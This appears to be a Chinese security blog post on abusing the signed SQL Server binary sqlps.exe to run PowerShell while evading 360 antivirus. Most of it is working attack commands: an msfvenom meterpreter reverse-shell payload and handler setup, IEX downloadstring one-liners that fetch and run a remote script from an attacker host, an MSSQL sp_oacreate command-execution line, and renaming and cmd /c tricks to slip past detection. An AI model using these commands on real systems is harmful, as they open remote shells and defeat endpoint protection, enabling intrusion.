行业新闻

sqlps.exe白名单的利用(过S60!)

sqlps.exe白名单的利用(过S60!)

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 sqlps.exe简介

sqlps.exe是SQL Server附带的一个具有Microsoft签名的二进制文件,用于加载SQL Server cmdlet,Microsoft Visual C#开发,可用ILSpy反编译查看源代码。

Microsoft SQL Server\100和110是Powershell v2,120和130是Powershell v4。2016中已由SQLToolsPS.exe替换,但出于兼容性原因将包含在安装中。


C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\sqlps.exeC:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\sqlps.exeC:\Program Files (x86)\Microsoft SQL Server\120\Tools\Binn\sqlps.exeC:\Program Files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exeC:\Program Files (x86)\Microsoft SQL Server\140\Tools\Binn\sqlps.exeC:\Program Files (x86)\Microsoft SQL Server\150\Tools\Binn\sqlps.exe

0x02 MSF监听并执行

使用sqlps.exe执行360.ps1后会结束掉当前这个cmd.exe命令提示符,可能要延迟几秒MSF才接收到会话信息。


msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 -f psh-reflection > /var/www/html/360.ps1
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set lhost 192.168.1.120msf5 exploit(multi/handler) > set lport 443msf5 exploit(multi/handler) > exploit

sqlps执行上线:

SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"

0x03 绕过360防护执行

众所周知360和火绒对powershell.exe进程的调用监控的非常严, sqlps.exe也有可能已经被360拦截了,如下图。

已被拦截:

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe'


但我们还是可以尝试使用加壳、反编译或者重命名和cmd /c等方式来绕过sqlps.exe的执行。

绕过方式:

SQLPS1 -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"cmd /c SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\ProgramData\SQLPS.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.1.120/360.ps1''))"'

0x04 注意事项

实战中建议根据目标主机实际环境提取相对应版本的sqlps.exe,如单独提取出来的sqlps.exe在执行时可能会出现缺少依赖项等问题,常见的有以下两种报错。

已测试的系统和sqlps.exe见下表,测试记录见下图。

0x05 参考链接

https://mp.weixin.qq.com/s/XkleeVDz80WZy4NZqXhEfA

https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/

关闭